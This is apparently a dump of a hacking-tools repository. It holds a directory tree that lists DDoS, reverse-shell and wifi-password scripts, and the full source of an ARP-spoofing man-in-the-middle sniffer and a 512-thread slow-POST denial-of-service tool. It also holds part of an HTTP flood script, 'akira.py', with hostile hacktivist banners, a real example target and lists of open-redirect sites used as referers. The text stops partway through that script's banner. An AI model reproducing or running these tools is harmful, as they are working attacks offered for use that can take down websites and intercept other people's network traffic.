├── ARP-Related ├── arp_mitm.py └── lanscan_arp.py ├── DDOS-Scripts ├── 17.py ├── Eat The Rich ├── Lulz ├── akira.py ├── asundos.py ├── asundos2.py ├── blackhorizon.py ├── blacknurse.pl ├── bowser.py ├── canon.py ├── chihulk.py ├── cisco.pl ├── clover.py ├── command ├── dark.py ├── ddos.py ├── goldeney.rar ├── goldeneye.py ├── hellsec.py ├── httpdoser.py ├── icarusbot.py ├── killappache.py ├── lulzsec.py ├── m60.py ├── moon.py ├── pentasec.rar ├── purple.py ├── rudy.rar ├── sadattack.py ├── sadboy.py ├── saddam.rar ├── saddos.rar ├── saphyra.py ├── torloris.pl ├── torshammer.rar ├── ufonet-master.rar └── xerxes.c ├── Port-Scanner-Related ├── nmap_port_scanner.py ├── nmap_port_scanner_ip_obj.py ├── port_scanner_ip_obj.py └── port_scanner_regex.py ├── README.md ├── Simple-Reverse-Shell └── Vicitim.py └── Windows-Specific-Scripts ├── change-windows10-mac-address.py ├── windows10-wifi-email.py ├── windows10-wifi-rest.py └── windows10-wifi.py /ARP-Related/arp_mitm.py: -------------------------------------------------------------------------------- 1 | #!/user/bin python3 2 | 3 | # Disclaimer: This script is for educational purposes only. 4 | # Do not use against any network that you don't own or have authorization to test. 5 | # To run this script use: 6 | # sudo python3 arp_spoof.py -ip_range 10.0.0.0/24 (ex. 192.168.1.0/24) 7 | 8 | import scapy.all as scapy 9 | import subprocess 10 | import sys 11 | import time 12 | import os 13 | from ipaddress import IPv4Network 14 | import threading 15 | 16 | # We want the current working directory. 17 | cwd = os.getcwd() 18 | 19 | 20 | # Function to check whether the script was run with sudo privileges. 21 | # It will stop the execution if user didn't use sudo. 22 | def in_sudo_mode(): 23 | """If the user doesn't run the program with super user privileges, don't allow them to continue.""" 24 | if not 'SUDO_UID' in os.environ.keys(): 25 | print("Try running this program with sudo.") 26 | exit() 27 | 28 | 29 | def arp_scan(ip_range): 30 | """We use the arping method in scapy. It is a better implementation than writing your own arp scan. You'll often see that your own arp scan doesn't pick up 31 | mobile devices. You can see the way scapy implemented the function here: https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L726-L749 32 | Arguments: ip_range -> an example would be "10.0.0.0/24" 33 | """ 34 | # We create an empty list where we will store the pairs of ARP responses. 35 | arp_responses = list() 36 | # We send arp packets through the network, verbose is set to 0 so it won't show any output. 37 | # scapy's arping function returns two lists. We're interested in the answered results which is at the 0 index. 38 | answered_lst = scapy.arping(ip_range, verbose=0)[0] 39 | 40 | # We loop through all the responses and add them to a dictionary and append them to the list arp_responses. 41 | for res in answered_lst: 42 | # Every response will look something lke like -> {"ip" : "10.0.0.4", "mac" : "00:00:00:00:00:00"} 43 | arp_responses.append({"ip" : res[1].psrc, "mac" : res[1].hwsrc}) 44 | 45 | # We return the list of arp responses which contains dictionaries for every arp response. 46 | return arp_responses 47 | 48 | 49 | def is_gateway(gateway_ip): 50 | """We can see the gateway by running the route -n command 51 | Argument: The gateway_ip address which the program finds automatically should be supplied as an argument. 52 | """ 53 | # We run the command route -n which returns information about the gateways. 54 | result = subprocess.run(["route", "-n"], capture_output=True).stdout.decode().split("\n") 55 | # Loop through every row in the route -n command. 56 | for row in result: 57 | # We look to see if the gateway_ip is in the row, if it is we return True. If False program continues flow and returns False. 58 | if gateway_ip in row: 59 | return True 60 | 61 | return False 62 | 63 | 64 | def get_interface_names(): 65 | """The interface names of a networks are listed in the /sys/class/net folder in Kali. This function returns a list of interfaces in Kali.""" 66 | # The interface names are directory names in the /sys/class/net folder. So we change the directory to go there. 67 | os.chdir("/sys/class/net") 68 | # We use the listdir() function from the os module. Since we know there won't be files and only directories with the interface names we can save the output as the interface names. 69 | interface_names = os.listdir() 70 | # We return the interface names which we will use to find out which one is the name of the gateway. 71 | return interface_names 72 | 73 | 74 | def match_iface_name(row): 75 | # We get all the interface names by running the function defined above with the 76 | interface_names = get_interface_names() 77 | 78 | # Check if the interface name is in the row. If it is then we return the iface name. 79 | for iface in interface_names: 80 | if iface in row: 81 | return iface 82 | 83 | 84 | def gateway_info(network_info): 85 | """We can see the gateway by running the route -n command. This get us the gateway information. We also need the name of the interface for the sniffer function. 86 | Arguments: network_info -> We supply the arp_scan() data. 87 | """ 88 | # We run route -n and capture the output. 89 | result = subprocess.run(["route", "-n"], capture_output=True).stdout.decode().split("\n") 90 | # We declare an empty list for the gateways. 91 | gateways = [] 92 | # We supplied the arp_scan() results (which is a list) as an argument to the network_info parameter. 93 | for iface in network_info: 94 | for row in result: 95 | # We want the gateway information to be saved to list called gateways. We know the ip of the gateway so we can compare and see in which row it appears. 96 | if iface["ip"] in row: 97 | iface_name = match_iface_name(row) 98 | # Once we found the gateway, we create a dictionary with all of its names. 99 | gateways.append({"iface" : iface_name, "ip" : iface["ip"], "mac" : iface["mac"]}) 100 | 101 | return gateways 102 | 103 | 104 | def clients(arp_res, gateway_res): 105 | """This function returns a list with only the clients. The gateway is removed from the list. Generally you did get the ARP response from the gateway at the 0 index 106 | but I did find that sometimes this may not be the case. 107 | Arguments: arp_res (The response from the ARP scan), gateway_res (The response from the gatway_info function.) 108 | """ 109 | # In the menu we only want to give you access to the clients whose arp tables you want to poison. The gateway needs to be removed. 110 | client_list = [] 111 | for gateway in gateway_res: 112 | for item in arp_res: 113 | # All items which are not the gateway will be appended to the client_list. 114 | if gateway["ip"] != item["ip"]: 115 | client_list.append(item) 116 | # return the list with the clients which will be used for the menu. 117 | return client_list 118 | 119 | 120 | def allow_ip_forwarding(): 121 | """ Run this function to allow ip forwarding. The packets will flow through your machine, and you'll be able to capture them. Otherwise user will lose connection.""" 122 | # You would normally run the command sysctl -w net.ipv4.ip_forward=1 to enable ip forwarding. We run this with subprocess.run() 123 | subprocess.run(["sysctl", "-w", "net.ipv4.ip_forward=1"]) 124 | # Load in sysctl settings from the /etc/sysctl.conf file. 125 | subprocess.run(["sysctl", "-p", "/etc/sysctl.conf"]) 126 | 127 | 128 | def arp_spoofer(target_ip, target_mac, spoof_ip): 129 | """ To update the ARP tables this function needs to be ran twice. Once with the gateway ip and mac, and then with the ip and mac of the target. 130 | Arguments: target ip address, target mac, and the spoof ip address. 131 | """ 132 | # We want to create an ARP response, by default op=1 which is "who-has" request, to op=2 which is a "is-at" response packet. 133 | # We can fool the ARP cache by sending a fake packet saying that we're at the router's ip to the target machine, and sending a packet to the router that we are at the target machine's ip. 134 | pkt = scapy.ARP(op=2,pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) 135 | # ARP is a layer 3 protocol. So we use scapy.send(). We choose it to be verbose so we don't see the output. 136 | scapy.send(pkt, verbose=False) 137 | 138 | 139 | def send_spoof_packets(): 140 | # We need to send spoof packets to the gateway and the target device. 141 | while True: 142 | # We send an arp packet to the gateway saying that we are the the target machine. 143 | arp_spoofer(gateway_info["ip"], gateway_info["mac"], node_to_spoof["ip"]) 144 | # We send an arp packet to the target machine saying that we are gateway. 145 | arp_spoofer(node_to_spoof["ip"], node_to_spoof["mac"], gateway_info["ip"]) 146 | # Tested time.sleep() with different values. 3s seems adequate. 147 | time.sleep(3) 148 | 149 | 150 | def packet_sniffer(interface): 151 | """ This function will be a packet sniffer to capture all the packets sent to the computer whilst this computer is the MITM. """ 152 | # We use the sniff function to sniff the packets going through the gateway interface. We don't store them as it takes a lot of resources. The process_sniffed_pkt is a callback function that will run on each packet. 153 | packets = scapy.sniff(iface = interface, store = False, prn = process_sniffed_pkt) 154 | 155 | 156 | def process_sniffed_pkt(pkt): 157 | """ This function is a callback function that works with the packet sniffer. It receives every packet that goes through scapy.sniff(on_specified_interface) and writes it to a pcap file""" 158 | print("Writing to pcap file. Press ctrl + c to exit.") 159 | # We append every packet sniffed to the requests.pcap file which we can inspect with Wireshark. 160 | scapy.wrpcap("requests.pcap", pkt, append=True) 161 | 162 | 163 | def print_arp_res(arp_res): 164 | """ This function creates a menu where you can pick the device whose arp cache you want to poison. """ 165 | # Program Header 166 | # Basic user interface header 167 | print(""" 168 | ____ ____ _ _ 169 | | _ \ _ _ _ ____ ____ _ | _ \ __ _| |_ ___| | 170 | | |_) | | | | '__\ \ / / _` | | |_) / _` | __/ _ \ | 171 | | __/| |_| | | \ V / (_| | | __/ (_| | || __/ | 172 | |_| \__,_|_| \_/ \__,_| |_| \__,_|\__\___|_| 173 | """) 174 | 175 | for id, res in enumerate(arp_res): 176 | # We are formatting the to print the id (number in the list), the ip and lastly the mac address. 177 | print("{}\t\t{}\t\t{}".format(id,res['ip'], res['mac'])) 178 | while True: 179 | try: 180 | # We have to verify the choice. If the choice is valid then the function returns the choice. 181 | choice = int(input("Please select the ID of the computer whose ARP cache you want to poison (ctrl+z to exit): ")) 182 | if arp_res[choice]: 183 | return choice 184 | except: 185 | print("Please enter a valid choice!") 186 | 187 | 188 | def get_cmd_arguments(): 189 | """ This function validates the command line arguments supplied on program start-up""" 190 | ip_range = None 191 | # Ensure that they supplied the correct command line arguments. 192 | if len(sys.argv) - 1 > 0 and sys.argv[1] != "-ip_range": 193 | print("-ip_range flag not specified.") 194 | return ip_range 195 | elif len(sys.argv) - 1 > 0 and sys.argv[1] == "-ip_range": 196 | try: 197 | # If IPv4Network(3rd paramater is not a valid ip range, then will kick you to the except block.) 198 | print(f"{IPv4Network(sys.argv[2])}") 199 | # If it is valid it will assign the ip_range from the 3rd parameter. 200 | ip_range = sys.argv[2] 201 | print("Valid ip range entered through command-line.") 202 | except: 203 | print("Invalid command-line argument supplied.") 204 | 205 | return ip_range 206 | 207 | 208 | # Checks if program ran in sudo mode 209 | in_sudo_mode() 210 | 211 | # Gets the ip range using the get_cmd_arguments() 212 | ip_range = get_cmd_arguments() 213 | 214 | # If the ip range is not valid, it would've assigned a None value and the program will exit from here. 215 | if ip_range == None: 216 | print("No valid ip range specified. Exiting!") 217 | exit() 218 | 219 | # If we don't run this function the internet will be down for the user. 220 | allow_ip_forwarding() 221 | 222 | # Do the arp scan. The function returns a list of all clients. 223 | arp_res = arp_scan(ip_range) 224 | 225 | # If there is no connection exit the script. 226 | if len(arp_res) == 0: 227 | print("No connection. Exiting, make sure devices are active or turned on.") 228 | exit() 229 | 230 | # The function runs route -n command. Returns a list with the gateway in a dictionary. 231 | gateways = gateway_info(arp_res) 232 | 233 | # The gateway will be in position 0 of the list, for easy use we just assign it to a variable. 234 | gateway_info = gateways[0] 235 | 236 | # The gateways are removed from the clients. 237 | client_info = clients(arp_res, gateways) 238 | 239 | # If there are no clients, then the program will exit from here. 240 | if len(client_info) == 0: 241 | print("No clients found when sending the ARP messages. Exiting, make sure devices are active or turned on.") 242 | exit() 243 | 244 | # Show the menu and assign the choice from the function to the variable -> choice 245 | choice = print_arp_res(client_info) 246 | 247 | # Select the node to spoof from the client_info list. 248 | node_to_spoof = client_info[choice] 249 | 250 | # get_interface_names() 251 | 252 | # Setup the thread in the background which will send the arp spoof packets. 253 | t1 = threading.Thread(target=send_spoof_packets, daemon=True) 254 | # Start the thread. 255 | t1.start() 256 | 257 | # Change the directory again to the directory which contains the script, so it is a place where you have write privileges, 258 | os.chdir(cwd) 259 | 260 | # Run the packet sniffer on the interface. So we can capture all the packets and save it to a pcap file that can be opened in Wireshark. 261 | packet_sniffer(gateway_info["iface"]) 262 | -------------------------------------------------------------------------------- /ARP-Related/lanscan_arp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Import scapy 3 | import scapy.all as scapy 4 | # We need to create regular expressions to ensure that the input is correctly formatted. 5 | import re 6 | 7 | # Basic user interface header 8 | print(""" 9 | ____ ____ _ _ 10 | | _ \ _ _ _ ____ ____ _ | _ \ __ _| |_ ___| | 11 | | |_) | | | | '__\ \ / / _` | | |_) / _` | __/ _ \ | 12 | | __/| |_| | | \ V / (_| | | __/ (_| | || __/ | 13 | |_| \__,_|_| \_/ \__,_| |_| \__,_|\__\___|_| 14 | """) 15 | 16 | # Regular Expression Pattern to recognise IPv4 addresses. 17 | ip_add_range_pattern = re.compile("^(?:[0-9]{1,3}\.){3}[0-9]{1,3}/[0-9]*$") 18 | 19 | # Get the address range to ARP 20 | while True: 21 | ip_add_range_entered = input("\nPlease enter the ip address and range that you want to send the ARP request to (ex 192.168.1.0/24): ") 22 | if ip_add_range_pattern.search(ip_add_range_entered): 23 | print(f"{ip_add_range_entered} is a valid ip address range") 24 | break 25 | 26 | 27 | # Try ARPing the ip address range supplied by the user. 28 | # The arping() method in scapy creates a pakcet with an ARP message 29 | # and sends it to the broadcast mac address ff:ff:ff:ff:ff:ff. 30 | # If a valid ip address range was supplied the program will return 31 | # the list of all results. 32 | arp_result = scapy.arping(ip_add_range_entered) 33 | -------------------------------------------------------------------------------- /DDOS-Scripts/17.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | #0x0a/0x3a/0x6a/0x2a 4 | 5 | import sys 6 | import socket 7 | import time 8 | import getopt 9 | import re 10 | from threading import Thread 11 | 12 | class MyThread(Thread,): 13 | def __init__(self,SITE, DOS_TYPE): 14 | Thread.__init__(self) 15 | self.method = DOS_TYPE 16 | self.site = SITE 17 | self.kill_received = False 18 | def run(self): 19 | while not self.kill_received: 20 | server = socket.gethostbyname(self.site) 21 | post = 'x' * 9999 22 | file = '/' 23 | 24 | request = '%s /%s HTTP/1.1\r\n' %(self.method.upper(),file) 25 | request += 'Host: %s\r\n' % (self.site) 26 | request += 'User-Agent: Mozilla/5.0 (Windows; U;Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026Firefox/3.6.12\r\n' 27 | request += 'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' 28 | request += 'Accept-Language: en-us,en;q=0.5\r\n' 29 | request += 'Accept-Encoding: gzip,deflate\r\n' 30 | request += 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n' 31 | request += 'Keep-Alive: 9000\r\n' 32 | request += 'Connection: close\r\n' 33 | request += 'Content-Type: application/x-www-form-urlencoded\r\n' 34 | request += 'Content-length: %s\r\n\r\n' % (len(post)) 35 | 36 | newrequest = '%s\r\n' % (post) 37 | newrequest += '\r\n' 38 | 39 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 40 | 41 | try: 42 | s.connect((server, 80)) 43 | s.send(request) 44 | 45 | for c in newrequest: 46 | sys.stdout.write( s.send(c).__str__() ) 47 | time.sleep(60) 48 | s.close() 49 | #s.recv(50000) 50 | except: 51 | print "Target Down?" 52 | 53 | def da_delegator(SITE,DOS_TYPE): 54 | thread_count = 512 55 | print '=' * 60 56 | print 'ANONYMOUS GLOBAL #Layer7 Tool v.1'.center(60,'-') 57 | print '=' * 60 58 | threads = [] 59 | for num in range(thread_count): 60 | thr1=MyThread(SITE,DOS_TYPE) 61 | print 'start - %s' % thr1 62 | thr1.start() 63 | threads.append(thr1) 64 | #thr1.join() 65 | 66 | while len(threads) > 0: 67 | try: 68 | # Join all threads using a timeout so it doesn't block 69 | # Filter out threads which have been joined or are None 70 | threads = [t.join(1) for t in threads if t is not 71 | None and t.isAlive()] 72 | except KeyboardInterrupt: 73 | print "Ctrl-c received! Sending kill to threads... Just close The Terminal" 74 | for t in threads: 75 | t.kill_received = True 76 | sys.exit(2) 77 | 78 | def main(argv): 79 | def usage(): 80 | print '=' * 60 81 | print 'ANONYMOUS GLOBAL #Layer7 DDOS Tool v.1'.center(60,'-') 82 | print '=' * 60 83 | print 'For GET DOS - USAGE: Layer7.py -t get http://example.com' 84 | print 'For POST DOS - USAGE: Layer7.py -t post http://example.com' 85 | sys.exit(2) 86 | if not argv: 87 | usage() 88 | try: 89 | opts, args = getopt.getopt(sys.argv[1:], "t:h", ["help", 90 | "type"]) 91 | except getopt.GetoptError, err: 92 | print str(err) 93 | sys.exit(2) 94 | output = None 95 | verbose = False 96 | SITE = re.sub(r'http://', '', str(sys.argv[-1:][0])) 97 | 98 | for o, a in opts: 99 | if o == "-v": 100 | verbose = True 101 | elif o in ("-t", "--type"): 102 | if a.lower() == 'post': 103 | DOS_TYPE = 'POST' 104 | da_delegator(SITE,DOS_TYPE) 105 | elif a.lower() =='get': 106 | DOS_TYPE = 'get' 107 | da_delegator(SITE,DOS_TYPE) 108 | elif o in ("-h", "--help"): 109 | usage() 110 | sys.exit() 111 | else: 112 | assert False, "unhandled option" 113 | 114 | if __name__=="__main__": 115 | main(sys.argv[1:]) 116 | -------------------------------------------------------------------------------- /DDOS-Scripts/Eat The Rich: -------------------------------------------------------------------------------- 1 | _ _ _ _ _ _ _ 2 | _| || |_ | | | | | | (_) | | 3 | |_ __ _| ___ _ __ ___ __ _| |_| |_| |__ ___ _ __ _ ___| |__ 4 | _| || |_ / _ \| '_ \ / _ \/ _` | __| __| '_ \ / _ \ '__| |/ __| '_ \ 5 | |_ __ _| (_) | |_) | __/ (_| | |_| |_| | | | __/ | | | (__| | | | 6 | |_||_| \___/| .__/ \___|\__,_|\__|\__|_| |_|\___|_| |_|\___|_| |_| 7 | | | 8 | |_| 9 | -------------------------------------------------------------------------------- /DDOS-Scripts/Lulz: -------------------------------------------------------------------------------- 1 | ``;` 2 | `,+@@@+ 3 | .+@@@@@@@; 4 | `;@@@@@@@@@@@ 5 | +@@@@@@@@@@@@@: 6 | ;@@@@@@@@@@@@@@@@ 7 | `@@@@@@@@@@@@@@@@@@` 8 | `@@@@@@@@@@@@@@@@@@# 9 | .@@@@@@@@@@@@@@@@@@, 10 | :@@@@@@@@@@@@@@@@@@ .'@@ 11 | #@@@@@@@@@@@@@@@@+; .+@@@@@ 12 | `@@@@@@@@@@@@@#;;+@+#@@@#:` 13 | #@@@@@@@@@@';'@@@@@@@:` 14 | `@@@@@@@+;;+@@@@@##` 15 | .@@@#;;+@@@@@#+',.,'. 16 | +;;'#@@@@#+;` ,: 17 | .#@@@@#++: @. ...` 18 | `'@@@@#++'. + .#++;;+ + 19 | ,@@@@@#++:``::+ `',:+,. , 20 | `@@@@#, #+` ',.`'. +` `` `, .+ 21 | @@:` ,+. ,`:``.: '. .',+++ # 22 | `` #+`++,.`:,`` :`+@@'@@@@' ```` 23 | #'`#+:`.,`:` .@@@+@# +`. : `: 24 | #:: +.`,.., `@@,#@':. + : ' 25 | #: ` ',:`,, @#`` + + ' `,; 26 | #: ` `:''` @` #:.. , ' #+++: 27 | #: , ;#'# + : `: #++ 28 | #; ' `'' , '. 29 | ;' ' # `@# 30 | #.; ;` ,#.:; 31 | `+; '. @ ` 32 | :#; `@: :` `, 33 | .#+; `'+.' + 34 | .@++#'+@+@++` ;@. ' 35 | `' ., ` #:`# `+.#+ :. 36 | ., : @#;.`;`: `#@. 37 | +``,.;`@+,. '# 38 | @' ' ;`@:+`#`;` 39 | `#+ ,'`# :. ' 40 | ' #. :`#` '`. + 41 | # +. .:+: :`. . 42 | `, +, ..+ '` : 43 | ;` #+@:,:#.;`` ' 44 | #'##:#+. : `; ; 45 | #. #: `'` : 46 | #, ` . 47 | -------------------------------------------------------------------------------- /DDOS-Scripts/akira.py: -------------------------------------------------------------------------------- 1 | ####################################-> 2 | #4312644bf54db17180c8a95add9fdc06####-->uauauauauauauau 3 | #9dfb17e500b557a9d985c08da4fd0aaf#####--->We will fuck your site D: 4 | #5afc3c0f68ff47b53b485fcd53e898a9######---->Anonymous :( 5 | #ff46a6b3100d11c29d4233c72f604a10#####--->uauauauauauau 6 | #6e70e3b1bf171ae14505f4f8b0dc4e5a####--> 7 | ####################################-> 8 | #https://www.youtube.com/watch?v=Aps4ZczffVw# 9 | #Allahu Akbar!# 10 | 11 | 12 | import urllib2 13 | import sys 14 | import threading 15 | import random 16 | import re 17 | 18 | #global params 19 | url='' ############################### 20 | host='' #~~~~Created By Hax Stroke~~~~# 21 | headers_useragents=[] #~~~~~~~~~~@FollowMe~~~~~~~~~~# 22 | headers_referers=[] #fb.com/anonghostsoldierstroke# 23 | request_counter=0 #~~~youtube.com/c/HaXStroKE~~~# 24 | flag=0 #~~~~~Twitter:@HaxStroKE~~~~~~# 25 | safe=0 ############################### 26 | 27 | def inc_counter(): 28 | global request_counter 29 | request_counter+=45 30 | 31 | def set_flag(val): 32 | global flag 33 | flag=val 34 | 35 | def set_safe(): 36 | global safe 37 | safe=1 38 | 39 | # generates a user agent array 40 | def useragent_list(): 41 | global headers_useragents 42 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534') 43 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 44 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 45 | headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)') 46 | headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2') 47 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') 48 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') 49 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') 50 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') 51 | headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') 52 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') 53 | headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') 54 | return(headers_useragents) 55 | 56 | # generates a referer array 57 | def referer_list(): 58 | global headers_referers 59 | headers_referers.append('http://www.google.com/?q=') ############################ 60 | headers_referers.append('http://www.usatoday.com/search/results?q=') #Pre-configured # 61 | headers_referers.append('http://engadget.search.aol.com/search?q=') #Botnets # 62 | headers_referers.append('http://www.google.com/?q=') #Infected's Websites # 63 | headers_referers.append('http://www.usatoday.com/search/results?q=') #Best's Shells Only # 64 | headers_referers.append('http://engadget.search.aol.com/search?q=') #All uploaded by Hax Stroke# 65 | headers_referers.append('http://www.bing.com/search?q=') #From AnonGhost Team # 66 | headers_referers.append('http://search.yahoo.com/search?p=') ############################ 67 | headers_referers.append('http://www.ask.com/web?q=') 68 | headers_referers.append('http://search.lycos.com/web/?q=') 69 | headers_referers.append('http://busca.uol.com.br/web/?q=') 70 | headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=') 71 | headers_referers.append('http://www.dmoz.org/search/search?q=') 72 | headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=') 73 | headers_referers.append('http://yandex.ru/yandsearch?text=') 74 | headers_referers.append('http://www.zhongsou.com/third?w=') 75 | headers_referers.append('http://hksearch.timway.com/search.php?query=') 76 | headers_referers.append('http://find.ezilon.com/search.php?q=') 77 | headers_referers.append('http://www.sogou.com/web?query=') 78 | headers_referers.append('http://api.duckduckgo.com/html/?q=') 79 | headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=') 80 | headers_referers.append('http://validator.w3.org/check?uri=') 81 | headers_referers.append('http://validator.w3.org/checklink?uri=') 82 | headers_referers.append('http://validator.w3.org/unicorn/check?ucn_task=conformance&ucn_uri=') 83 | headers_referers.append('http://validator.w3.org/nu/?doc=') 84 | headers_referers.append('http://validator.w3.org/mobile/check?docAddr=') 85 | headers_referers.append('http://validator.w3.org/p3p/20020128/p3p.pl?uri=') 86 | headers_referers.append('http://www.icap2014.com/cms/sites/all/modules/ckeditor_link/proxy.php?url=') 87 | headers_referers.append('http://www.rssboard.org/rss-validator/check.cgi?url=') 88 | headers_referers.append('http://www2.ogs.state.ny.us/help/urlstatusgo.html?url=') 89 | headers_referers.append('http://prodvigator.bg/redirect.php?url=') 90 | headers_referers.append('http://validator.w3.org/feed/check.cgi?url=') 91 | headers_referers.append('http://www.ccm.edu/redirect/goto.asp?myURL=') 92 | headers_referers.append('http://forum.buffed.de/redirect.php?url=') 93 | headers_referers.append('http://rissa.kommune.no/engine/redirect.php?url=') 94 | headers_referers.append('http://www.sadsong.net/redirect.php?url=') 95 | headers_referers.append('https://www.fvsbank.com/redirect.php?url=') 96 | headers_referers.append('http://www.jerrywho.de/?s=/redirect.php?url=') 97 | headers_referers.append('http://www.inow.co.nz/redirect.php?url=') 98 | headers_referers.append('http://www.automation-drive.com/redirect.php?url=') 99 | headers_referers.append('http://mytinyfile.com/redirect.php?url=') 100 | headers_referers.append('http://ruforum.mt5.com/redirect.php?url=') 101 | headers_referers.append('http://www.websiteperformance.info/redirect.php?url=') 102 | headers_referers.append('http://www.airberlin.com/site/redirect.php?url=') 103 | headers_referers.append('http://www.rpz-ekhn.de/mail2date/ServiceCenter/redirect.php?url=') 104 | headers_referers.append('http://evoec.com/review/redirect.php?url=') 105 | headers_referers.append('http://www.crystalxp.net/redirect.php?url=') 106 | headers_referers.append('http://watchmovies.cba.pl/articles/includes/redirect.php?url=') 107 | headers_referers.append('http://www.seowizard.ir/redirect.php?url=') 108 | headers_referers.append('http://apke.ru/redirect.php?url=') 109 | headers_referers.append('http://seodrum.com/redirect.php?url=') 110 | headers_referers.append('http://redrool.com/redirect.php?url=') 111 | headers_referers.append('http://blog.eduzones.com/redirect.php?url=') 112 | headers_referers.append('http://www.onlineseoreportcard.com/redirect.php?url=') 113 | headers_referers.append('http://www.wickedfire.com/redirect.php?url=') 114 | headers_referers.append('http://searchtoday.info/redirect.php?url=') 115 | headers_referers.append('http://www.bobsoccer.ru/redirect.php?url=') 116 | headers_referers.append('http://newsdiffs.org/article-history/iowaairs.org/redirect.php?url=') 117 | headers_referers.append('http://seo.qalebfa.ir/%D8%B3%D8%A6%D9%88%DA%A9%D8%A7%D8%B1/redirect.php?url=') 118 | headers_referers.append('http://www.firmia.cz/redirect.php?url=') 119 | headers_referers.append('http://www.e39-forum.de/redir.php?url=') 120 | headers_referers.append('http://www.wopus.org/wp-content/themes/begin/inc/go.php?url=') 121 | headers_referers.append('http://www.selectsmart.com/plus/select.php?url=') 122 | headers_referers.append('http://www.taichinh2a.com/forum/links.php?url=') 123 | headers_referers.append('http://facenama.com/go.php?url=') 124 | headers_referers.append('http://www.internet-abc.de/eltern/118732.php?url=') 125 | headers_referers.append('http://g.makebd.com/index.php?url=') 126 | headers_referers.append('https://blog.eduzones.com/redirect.php?url=') 127 | headers_referers.append('http://www.mientay24h.vn/redirector.php?url=') 128 | headers_referers.append('http://www.kapook.com/webout.php?url=') 129 | headers_referers.append('http://lue4.ddns.name/pk/index.php?url=') 130 | headers_referers.append('http://747.ddns.ms/pk/index.php?url=') 131 | headers_referers.append('http://737.ddns.us/pk/index.php?url=') 132 | headers_referers.append('http://a30.m1.4irc.com/pk/index.php?url=') 133 | 134 | # generates a Keyword list 135 | def keyword_list(): 136 | global keyword_top 137 | keyword_top.append('HaxStroke') 138 | keyword_top.append('Suicide') 139 | keyword_top.append('Sex') 140 | keyword_top.append('Robin Williams') 141 | keyword_top.append('World Cup') 142 | keyword_top.append('Ca Si Le Roi') 143 | keyword_top.append('Ebola') 144 | keyword_top.append('Malaysia Airlines Flight 370') 145 | keyword_top.append('ALS Ice Bucket Challenge') 146 | keyword_top.append('Flappy Bird') 147 | keyword_top.append('Conchita Wurst') 148 | keyword_top.append('ISIS') 149 | keyword_top.append('Frozen') 150 | keyword_top.append('014 Sochi Winter Olympics') 151 | keyword_top.append('IPhone') 152 | keyword_top.append('Samsung Galaxy S5') 153 | keyword_top.append('Nexus 6') 154 | keyword_top.append('Moto G') 155 | keyword_top.append('Samsung Note 4') 156 | keyword_top.append('LG G3') 157 | keyword_top.append('Xbox One') 158 | keyword_top.append('Apple Watch') 159 | keyword_top.append('Nokia X') 160 | keyword_top.append('Ipad Air') 161 | keyword_top.append('Facebook') 162 | keyword_top.append('Anonymous') 163 | keyword_top.append('DJ Bach') 164 | 165 | headers_referers.append('http://' + host + '/') 166 | return(headers_referers) 167 | 168 | #builds random ascii string 169 | def buildblock(size): 170 | out_str = '' 171 | for i in range(0, size): 172 | a = random.randint(65, 160) 173 | out_str += chr(a) 174 | return(out_str) 175 | 176 | def usage(): 177 | print 'SadAttack Version 2.0 DDoS Tool Created By Hax Stroke and moddified by Akira ' 178 | print 'AnonGhost Team Page: http://facebook.com/anonghost.sec' 179 | print 'New loaded Botnets: 39,445,657' 180 | print 'Usage: botnet_akira (url)' 181 | print 'Example: botnet_akira http://luthi.co.il/' 182 | print "\a" 183 | print \ 184 | """ 185 | ################### 186 | ###!!!!!!!!!!!!!!!!!!!#### 187 | ###!!!!!!!!!!!!!!!!!!!!!!!!!#### 188 | ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!### 189 | ###!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!### 190 | ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!### 191 | ##!!!!!!!!!#####!!!!!!!!!!!#####!!!!!!!!!## 192 | ##!!!!!!!!!!######!!!!!!!!!!######!!!!!!!!!## 193 | ##!!!!!!!!!!!####!!!!!!!!!!!!####!!!!!!!!!!!## 194 | ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!## 195 | 